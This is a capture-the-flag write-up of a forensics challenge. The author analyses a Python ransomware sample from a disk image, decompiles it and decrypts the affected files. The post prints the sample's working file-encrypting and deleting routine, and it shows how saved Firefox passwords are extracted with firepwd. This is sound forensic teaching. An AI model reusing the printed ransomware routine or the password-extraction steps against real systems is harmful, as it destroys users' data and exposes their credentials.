Over the weekend, a few of us from Neutrino Cannon competed in the CactusCon 2022 CTF by ThreatSims. PolarBearer and I worked on a challenge called Funware, which was a interesting forensics challenge that starts with a disk image of a system that’d been ransomwared, and leads to understanding the malware, decrypting the files, and finding where it was downloaded from. It was a fun forensics challenge. Thanks to @pwnEIP and @Cone_Virus for the challenge and for getting me the questions after it was over so I could write this up.

## Funware

### Overview

This challenge was 13 questions long, and all based on the provided an AccessData AD1 forensic disk image, which I’ve hosted here.

Note: There is malware that will do malwarish things inside this image. Play with it at your own risk.

The initial prompt says:

Well shoot. Looks like our IT Technician has been compromised. We took an image of his system and zipped it up with the password fUnW4R34L1fe.

### Tools

To get started in this challenge, I used a Windows VM and installed FTK Imager, which can be downloaded here (an email is needed, but as far as I can tell, doesn’t have to be a working email). I also used a Linux VM for programming, but that could have been done in the Windows VM as well.

Alternatives:

• It also seems like FTK Imager may have a Linux version.
• Autopsy could be another Linux alternative to look at these files (that I just don’t have experience with yet).
• pyad1 is a neat looking tool for interacting with AccessData files.
• Forensic7z is a plugin for 7zip that allows it to open and interact with image files.

## File System Analysis

The first three challenges were solved by exploring the file system in the disk image.

Can you figure out what his username is?

I’ll open Evidence.ad1 in FTK Imager, and it looks like it’s a capture of the C:\Users folder from a Windows machine:

Right away I can answer the qustion, as the only non-standard folder name there is Anime-Lover99, so that’s the username.

Flag: Anime-Lover99

If you can figure out his username im sure you can find his flag.

On the user’s desktop, there’s a handful of files ending in .miku, an executable (musiware.exe), and a text file, user,txt:

Clicking on user.txt, the contents are displayed in the window below, giving the flag:

Flag: flag{aN1m3_f0r_l1f3}

### #2: Find Malware

What is the name of the malware?

As I noted above, there’s also an executable unencrypted on the desktop, musiware.exe.

Flag: musiware.exe

## Malware Analysis

### Running It

I never actually run the malware in solving the challenge, but it would make sense to give it a run on a clean system, so for completeness in writing this post, I created a dummy user, took a snapshot, and logged in as dummy to run it.

On double clicking, it actually won’t run because I don’t have audio enabled on my VM:

After adjusting the settings and trying again, it hangs for a minute (while it’s encrypting the files in the home directory), and then this pops up:

When I click “Play!”, it just dies. I could try more to get it working, but I didn’t need to.

### #3: Malware Language

Damn this malware looks somewhat familiar. Can you tell me what it is written in?

Running strings on the binary produces all kinds of hints that this binary is running in Python:

oxdf@hacky$strings -n 12 musiware.exe ...[snip]... _pyi_main_co pyi-disable-windowed-traceback ...[snip]... Py_DontWriteBytecodeFlag Failed to get address for Py_DontWriteBytecodeFlag GetProcAddress Py_FileSystemDefaultEncoding Failed to get address for Py_FileSystemDefaultEncoding Py_FrozenFlag Failed to get address for Py_FrozenFlag Py_IgnoreEnvironmentFlag Failed to get address for Py_IgnoreEnvironmentFlag Py_NoSiteFlag Failed to get address for Py_NoSiteFlag Py_NoUserSiteDirectory Failed to get address for Py_NoUserSiteDirectory Py_OptimizeFlag Failed to get address for Py_OptimizeFlag Py_VerboseFlag Failed to get address for Py_VerboseFlag Py_UnbufferedStdioFlag Failed to get address for Py_UnbufferedStdioFlag Py_BuildValue Failed to get address for Py_BuildValue Failed to get address for Py_DecRef Failed to get address for Py_Finalize Failed to get address for Py_IncRef Py_Initialize Failed to get address for Py_Initialize Failed to get address for Py_SetPath Failed to get address for Py_GetPath Py_SetProgramName Failed to get address for Py_SetProgramName Py_SetPythonHome Failed to get address for Py_SetPythonHome PyDict_GetItemString Failed to get address for PyDict_GetItemString Failed to get address for PyErr_Clear PyErr_Occurred Failed to get address for PyErr_Occurred Failed to get address for PyErr_Print Failed to get address for PyErr_Fetch ...[snip]... xpygame\freesansbold.ttf xpygame\pygame_icon.bmp xpyinstaller-4.7.dist-info\COPYING.txt xpyinstaller-4.7.dist-info\INSTALLER xpyinstaller-4.7.dist-info\METADATA xpyinstaller-4.7.dist-info\RECORD xpyinstaller-4.7.dist-info\WHEEL xpyinstaller-4.7.dist-info\entry_points.txt xpyinstaller-4.7.dist-info\top_level.txt 3python37.dll  And not just Python, but pygame and pyinstaller are both referenced. PyGame is a framework for creating GUI games in Python. PyInstaller is a framework for converting Python scripts into stand-alone executables (Windows or Linux). Flag: Python ### Extract Python Script #### Fail Extracting PYC Files I need to pull the Python source out of the executable in order to take a look at it. In the 2019 Flare-On challenge, wopr, I used python-exe-unpacker. That will work here, but it hasn’t been updated in four years, so I’ll use pyinstxtractor, which looks like it’s actively being developed. When I run this on the executable, it kind of works: oxdf@hacky$ python /opt/pyinstxtractor/pyinstxtractor.py musiware.exe
[+] Processing musiware.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 307
[+] Length of package: 42552565 bytes
[+] Found 115 files in CArchive
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: musiware.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python307 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: musiware.exe

You can now use a python decompiler on the pyc files within the extracted directory


There is a directory with a bunch of extracted files, but there’s also an error message in the output above:

[!] Please run this script in Python307 to prevent extraction errors during unmarshalling


Running file on the main file just thinks it’s data, because the magic bytes are messed up:

oxdf@hacky$file musiware.pyc musiware.pyc: data  Trying to decompile this back to Python code fails: oxdf@hacky$ uncompyle6 musiware.pyc
Traceback (most recent call last):
ValueError: bad marshal data (unknown type code)
Ill-formed bytecode file musiware.pyc
<class 'ValueError'>; bad marshal data (unknown type code)


#### Switch Python Version

There’s a hacky solution I used in Flare-On to solve this, based on this article (site is no more, now based on wayback machine), but the better way is to just install Python3.7 (these instructions worked for me). I’ll also install sudo apt install python3.7-venv.

I’ll create a virtual environment based on Python3.7:

oxdf@hacky$python3.7 -mvenv venv oxdf@hacky$ source venv/bin/activate
(venv) oxdf@hacky$python -V Python 3.7.12  I’ll pip install uncompyle6 to get that in the env. Now running pyinstxtractor works without complaining about version: (venv) oxdf@hacky$ python /opt/pyinstxtractor/pyinstxtractor.py musiware.exe
[+] Processing musiware.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 307
[+] Length of package: 42552565 bytes
[+] Found 115 files in CArchive
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: musiware.pyc
[+] Found 256 files in PYZ archive
[+] Successfully extracted pyinstaller archive: musiware.exe

You can now use a python decompiler on the pyc files within the extracted directory


And uncompyle6 works great:

(venv) oxdf@hacky$uncompyle6 musiware.pyc > musiware.py  The full script can be found here. ### Script Analysis After defining constants and several functions, the script sets up for and then executes it’s main loop: fun_enforcer() screen = pygame.display.set_mode([600, 600]) Icon = pygame.image.load(resource_path('assets/images/favicon.png')) pygame.display.set_icon(Icon) pygame.display.set_caption('Musiware') state = ['Main', True] game_state = 0 score = 0 while 1: if game_state == 6: state[0] = 'End' state[1] = True else: if state[0] == 'Main': if state[1]: main_setup(screen) state[1] = False if state[0] == 'End': if state[1]: screen = pygame.display.set_mode([600, 600]) end_setup(screen, score) state[1] = False if state[0] == 'Game': if state[1]: state[1] = False game_current = game_state game = game(game_current) else: game_state, score = game.run(score, screen) pygame.display.update() for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() if state[0] == 'Main' and event.type == pygame.MOUSEBUTTONDOWN: x, y = pygame.mouse.get_pos() if x > 260 and 550 > x and 505 > y and y > 455: screen = pygame.display.set_mode([600, 800]) state[0] = 'Game' state[1] = True # okay decompiling musiware.pyc  ### #4: Score Well now that we know what it is written in. What is the score needed for this seemingly impossible game? At the very top of the Python script, it defines several global variables: # uncompyle6 version 3.8.0 # Python bytecode 3.7.0 (3394) # Decompiled from: Python 3.7.12 (default, Jan 15 2022, 18:42:10) # [GCC 9.3.0] # Embedded file name: musiware.py import pygame, time, os, sys, random from pygame import mixer from PIL import Image RED = [ 255, 0, 0] WHITE = [255, 255, 255] BLACK = [0, 0, 0] MAX = 10000000000000000000000000000000000000000000000000000000000000000 pygame.init() pygame.mixer.init() ...[snip]...  That MAX variable is interesting. Looking at where it’s used, it’s in the function end_setup: def end_setup(screen, score): back = Button(0, 0, 'assets/images/end.jpg') back.draw(screen) if score >= MAX: font = pygame.font.Font(resource_path('assets/sans.ttf'), 50) text = font.render('Congrats!', True, RED) screen.blit(text, [200, 10]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('You got a score of ' + str(score) + '/' + str(MAX) + '!', True, RED) screen.blit(text, [130, 100]) if score > MAX: font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('You did cheat.... Oh Well', True, RED) screen.blit(text, [120, 175]) else: font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render("And it seems like you didn't cheat!", True, RED) screen.blit(text, [50, 175]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('Get the Decryption Application at:', True, RED) screen.blit(text, [50, 250]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 20) text = font.render('http://musiware.threatsims.com/5963decodenow5345/', True, RED) screen.blit(text, [35, 325]) else: font = pygame.font.Font(resource_path('assets/sans.ttf'), 50) text = font.render(' Uh Oh!! ', True, RED) screen.blit(text, [210, 10]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 70) text = font.render('You Failed!', True, RED) screen.blit(text, [125, 250])  It’s looking for a score of exactly MAX to win. Flag:10000000000000000000000000000000000000000000000000000000000000000 ### #5: URL If we even had a chance of beating this malware. Where is the URL it would of given us? In the end_setup function, it prints the URL: font = pygame.font.Font(resource_path('assets/sans.ttf'), 30) text = font.render('Get the Decryption Application at:', True, RED) screen.blit(text, [50, 250]) font = pygame.font.Font(resource_path('assets/sans.ttf'), 20) text = font.render('http://musiware.threatsims.com/5963decodenow5345/',  Flag: http://musiware.threatsims.com/5963decodenow5345/ ### #6: Key It seems that the maker of this malware had somewhat of a sense of humor. What is used to create entropy for the encryption? The first function called was fun_enforcer(), which is defined as: def fun_enforcer(): img = open(resource_path('assets/images/miku.png'), 'rb').read() * 50 home = os.path.expanduser('~') for root, dirs, files in os.walk(home, topdown=False): for name in files: if not name == 'musiware.exe': if 'assets' in root: continue fileN = os.path.join(root, name) try: fileD = open(fileN, 'rb').read() os.remove(fileN) result = bytes((a ^ b for a, b in zip(fileD, img))) f = open(fileN + '.miku', 'wb') f.write(result) f.close() except: continue  It reads in a buffer that is the bytes from an image carried in the executable’s resources, miku.png, five times. That image was unpacked earlier into my file system as well, and is about 110kb in size: (venv) oxdf@hacky$ ls -l assets/images/miku.png
-rw-rw-r-- 1 oxdf oxdf 110363 Feb  6 16:21 assets/images/miku.png


Then it walks the files in the users home directory and subdirectories, for each of them opening the file, reading it, removing the original file, xoring the file by the image file, and writing the result the the same file name plus .miku.

So the answer is miku.png.

Flag: miku.png

### #7: Levels

How many levels is in this malware “game”?

In the main loop, it starts at level 0, and ends at level 6:

game_state = 0
score = 0
while 1:
if game_state == 6:
state[0] = 'End'
state[1] = True
else:
if state[0] == 'Main':
if state[1]:
main_setup(screen)
state[1] = False
if state[0] == 'End':
if state[1]:
screen = pygame.display.set_mode([600, 600])
end_setup(screen, score)
state[1] = False
if state[0] == 'Game':
if state[1]:
state[1] = False
game_current = game_state
game = game(game_current)
else:
game_state, score = game.run(score, screen)


So the number of levels is 7.

Flag: 7

## Data Recovery

### #8: Encrypted Images

How many of the IT Tech’s image files on his desktop got encrypted?

Back to the image and FTK Imager, there are nine image files on the Desktop with the .miku extension:

Flag: 9

### Recover Files

I’ll grab a copy of miku.png from the assets/images extracted directory, and write this very simple Python script to decrypt files:

#!/usr/bin/env python3

import sys
from itertools import cycle

with open(sys.argv[1], 'rb') as f:

with open('miku.png', 'rb') as f:

pt = bytes([x^y for x,y in zip(enc, cycle(key))])

orig_name = '.'.join(sys.argv[1].split('.')[:-1])

with open(orig_name, 'wb') as f:
f.write(pt)

print(f'[+] Wrote {orig_name}')


First, it reads in the file passed in via the command line into the enc variable. Then it reads miku.png into key.

zip(enc, cycle(key)) will take each byte of enc and pair it with the same offset byte in key. zip stops when either of the two buffers reaches the end, so the cycle function will effectively endless stack key until the end of enc. Technically if the file was larger than five times the size of miku.png, this would make some incorrect output, but it’s ok here.

The list comprehension will loop over each pair of bytes, xoring them, which results a list of integers, which bytes will convert into a byte string, saved at pt.

I’ll get the original file name by dropping the .miku extension, and write the result to that file.

### #9: Recover Images

I’m sure a forensics expert like you can decrypt these files. Can you find the flag hidden among the image files?

In FTK Imager, I’ll select all the .miku files, and then “File” -> “Export Files…”:

I’ll save the files and copy them to my Linux VM. There I can use a find command to decrypt them all:

oxdf@hacky$find . -name '*.miku' -exec python decrpyt.py {} \; [+] Wrote ./Anime10.jpg [+] Wrote ./Anime1.jpg [+] Wrote ./Anime12.jpg [+] Wrote ./desktop.ini [+] Wrote ./Anime3.png [+] Wrote ./Anime4.jpg [+] Wrote ./Anime11.jpg [+] Wrote ./Anime6.webp [+] Wrote ./Anime2.jpg [+] Wrote ./Anime9.jpg [+] Wrote ./Backup.zip  There’s some text written across Anime12.jpg: It does have the flag printed on it: Flag: flag{aN1m3_i5_th3_b3sT} ### #10: Recover Zip It seems the IT Tech had a backup zip folder. Can you grab his password in it? Yes, it’s a valid zip, maybe your archive tool is having issues, find another one. Both unzip and 7z error out on the command line: oxdf@hacky$ unzip Backup.zip
Archive:  Backup.zip
a zipfile, or it constitutes one disk of a multi-part archive.  In the
latter case the central directory and zipfile comment will be found on
the last disk(s) of this archive.
note:  Backup.zip may be a plain executable, not an archive
unzip:  cannot find zipfile directory in one of Backup.zip or
Backup.zip.zip, and cannot find Backup.zip.ZIP, period.
oxdf@hacky$7z x Backup.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 9 5900X 12-Core Processor (A20F10),ASM,AES-NI) Scanning the drive for archives: 1 file, 5518150 bytes (5389 KiB) Extracting archive: Backup.zip ERRORS: Unexpected end of archive -- Path = Backup.zip Type = zip ERRORS: Unexpected end of archive Physical Size = 7177945 ERROR: Data Error : Firefox-Backup/tfe16msd.default-release/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite Sub items Errors: 1 Archives with Errors: 1 Open Errors: 1 Sub items Errors: 1  On Windows, 7z GUI opens it just fine: Double clicking on pass.txt opens it in notepad.exe: That password is the flag. Flag: an1m3l0v3r ### #11: Browser History Can you find out the URL that the malware was downloaded from? The rest of the zip is a Firefox-Backup folder. It contains two profiles, one of which is basically empty: oxdf@hacky$ ls
6vz210rr.default  tfe16msd.default-release
oxdf@hacky$ls 6vz210rr.default/ times.json oxdf@hacky$ ls tfe16msd.default-release/
addonStartup.json.lz4     compatibility.ini     datareporting               formhistory.sqlite  minidumps           prefs.js               serviceworker.txt        SiteSecurityServiceState.txt
AlternateServices.txt     containers.json       extension-preferences.json  gmp-gmpopenh264     parent.lock         protections.sqlite     sessionCheckpoints.json  storage
bookmarkbackups           content-prefs.sqlite  extensions.json             handlers.json       permissions.sqlite  saved-telemetry-pings  sessionstore-backups     storage.sqlite

places.sqlite holds the browser history. It has a bunch of tables:
oxdf@hacky$sqlite3 places.sqlite SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite> .tables moz_anno_attributes moz_annos moz_bookmarks moz_bookmarks_deleted moz_historyvisits moz_inputhistory moz_items_annos moz_keywords moz_meta moz_origins moz_places moz_places_metadata moz_places_metadata_groups_to_snapshots moz_places_metadata_search_queries moz_places_metadata_snapshots moz_places_metadata_snapshots_extra moz_places_metadata_snapshots_groups moz_session_metadata moz_session_to_places  The moz_places tables has the urls visited, along with many other columns: sqlite> .schema moz_places CREATE TABLE moz_places ( id INTEGER PRIMARY KEY, url LONGVARCHAR, title LONGVARCHAR, rev_host LONGVARCHAR, visit_count INTEGER DEFAULT 0, hidden INTEGER DEFAULT 0 NOT NULL, typed INTEGER DEFAULT 0 NOT NULL, frecency INTEGER DEFAULT -1 NOT NULL, last_visit_date INTEGER , guid TEXT, foreign_count INTEGER DEFAULT 0 NOT NULL, url_hash INTEGER DEFAULT 0 NOT NULL , description TEXT, preview_image_url TEXT, origin_id INTEGER REFERENCES moz_origins(id)); CREATE INDEX moz_places_url_hashindex ON moz_places (url_hash); CREATE INDEX moz_places_hostindex ON moz_places (rev_host); CREATE INDEX moz_places_visitcount ON moz_places (visit_count); CREATE INDEX moz_places_frecencyindex ON moz_places (frecency); CREATE INDEX moz_places_lastvisitdateindex ON moz_places (last_visit_date); CREATE UNIQUE INDEX moz_places_guid_uniqueindex ON moz_places (guid); CREATE INDEX moz_places_originidindex ON moz_places (origin_id);  Looks like the admin visited mozilla.org, youtube.com, and one suspect URL where the malware was downloaded: sqlite> select id,url from moz_places; id|url 1|https://support.mozilla.org/en-US/products/firefox 2|https://support.mozilla.org/en-US/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-browser&utm_medium=default-bookmarks&utm_campaign=customize 3|https://www.mozilla.org/en-US/contribute/ 4|https://www.mozilla.org/en-US/about/ 5|https://www.mozilla.org/en-US/firefox/central/ 6|https://www.mozilla.org/privacy/firefox/ 7|https://www.mozilla.org/en-US/privacy/firefox/ 8|https://www.google.com/search?client=firefox-b-1-d&q=anime 9|https://www.google.com/search?q=anime+youtube&client=firefox-b-1-d&ei=VTPCYZO-EtaXwbkPoNK4qAE&ved=0ahUKEwjTvKGe2PX0AhXWSzABHSApDhUQ4dUDCA4&uact=5&oq=anime+youtube&gs_lcp=Cgdnd3Mtd2l6EAMyBQgAEJECMgUIABCABDIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEMgUIABCABDIFCAAQgAQyBQgAEIAEOgcIABBHELADOgcIABCwAxBDOggIABDkAhCwAzoKCC4QyAMQsAMQQzoQCC4QxwEQ0QMQyAMQsAMQQzoHCAAQsQMQQzoECAAQQzoICAAQgAQQsQM6CAgAEIAEEMkDOgUIABCSAzoICC4QsQMQkQI6BQguEIAESgQIQRgASgQIRhgBULoHWMASYI8UaAFwAngAgAGqAogB0gmSAQUyLjAuNJgBAKABAcgBE8ABAQ&sclient=gws-wiz 10|https://www.youtube.com/c/netflixanime 11|https://www.youtube.com/watch?v=n8u1SEVj7kU 12|https://www.youtube.com/watch?v=7L3DQU74v_s 13|https://www.youtube.com/ 14|https://www.youtube.com/watch?v=WItvH4Hoyag 15|https://www.youtube.com/watch?v=xohAPIRNzuo 16|http://musiware.threatsims.com/musiware.exe 17|https://www.mozilla.org/firefox/welcome/13 18|https://www.mozilla.org/en-US/firefox/welcome/13 19|https://www.mozilla.org/en-US/firefox/welcome/13/  Looking at the entries, this one took me a minute because I expected the flag to be the full URL, but the system was looking for only the start. Flag: https://musiware.threatsims.com ### #12: Password Recovery Well, the IT Tech can’t remember what his password was, can you recover it for him? Staying in the zip, Firefox can save passwords for sites. This post does a really nice job walking through how Firefox (and Chrome) passwords can be decrypted. This Diagram is also really useful: Click for full size image The process is quite complicated, so I’ll use a too like Firepwd to extract and decrypt passwords: oxdf@hacky$ python3 /opt/firepwd/firepwd.py -d tfe16msd.default-release/

Flag: 1t5jUstAgAm3